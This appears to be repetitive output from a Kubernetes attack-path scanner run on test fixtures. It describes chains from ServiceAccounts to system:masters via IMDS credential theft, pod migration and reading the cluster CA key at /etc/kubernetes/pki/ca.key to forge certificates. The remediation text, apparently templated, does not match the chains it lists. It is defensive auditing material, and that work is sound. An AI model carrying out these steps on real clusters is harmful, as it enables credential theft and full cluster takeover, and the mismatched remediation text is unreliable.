  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-narrow → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-narrow → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/lp-fixtures/sa-lp-orphan Cluster 8.3
ServiceAccount/lp-fixtures/sa-lp-orphan can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-orphan → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-orphan

Subject ServiceAccount/lp-fixtures/sa-lp-orphan can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/lp-fixtures/sa-lp-orphan → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS
2. ServiceAccount/lp-fixtures/sa-lp-orphan → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/lp-fixtures/sa-lp-orphan.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-orphan, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/lp-fixtures/sa-lp-orphan, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-orphan → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-orphan → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Cluster 8.3
ServiceAccount/lp-fixtures/sa-lp-wildcard can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-wildcard → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard

Subject ServiceAccount/lp-fixtures/sa-lp-wildcard can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/lp-fixtures/sa-lp-wildcard → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS
2. ServiceAccount/lp-fixtures/sa-lp-wildcard → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/lp-fixtures/sa-lp-wildcard.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-wildcard, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/lp-fixtures/sa-lp-wildcard, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-wildcard → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-wildcard → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/netpol-imds/default Cluster 8.3
ServiceAccount/netpol-imds/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/netpol-imds/default → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/netpol-imds/default

Subject ServiceAccount/netpol-imds/default can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/netpol-imds/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS
2. ServiceAccount/netpol-imds/default → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/netpol-imds/default.
  2. Acting as ServiceAccount/netpol-imds/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/netpol-imds/default, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/netpol-imds/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/netpol-imds/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/netpol-imds/default → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/netpol-imds/default → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/privesc-fixtures/sa-node-migrate Cluster 8.3
ServiceAccount/privesc-fixtures/sa-node-migrate can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-node-migrate → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-node-migrate

Subject ServiceAccount/privesc-fixtures/sa-node-migrate can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-node-migrate → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/privesc-fixtures/sa-node-migrate → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-node-migrate.
  2. Acting as ServiceAccount/privesc-fixtures/sa-node-migrate, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/privesc-fixtures/sa-node-migrate, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/privesc-fixtures/sa-node-migrate → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/privesc-fixtures/sa-node-migrate → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath Cluster 8.3
ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath

Subject ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS
2. ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath.
  2. Acting as ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 8.3
ServiceAccount/rbac-fixtures/sa-cluster-admin can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-cluster-admin → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-cluster-admin → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/rbac-fixtures/sa-cluster-admin → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-cluster-admin.
  2. Acting as ServiceAccount/rbac-fixtures/sa-cluster-admin, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/rbac-fixtures/sa-cluster-admin, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

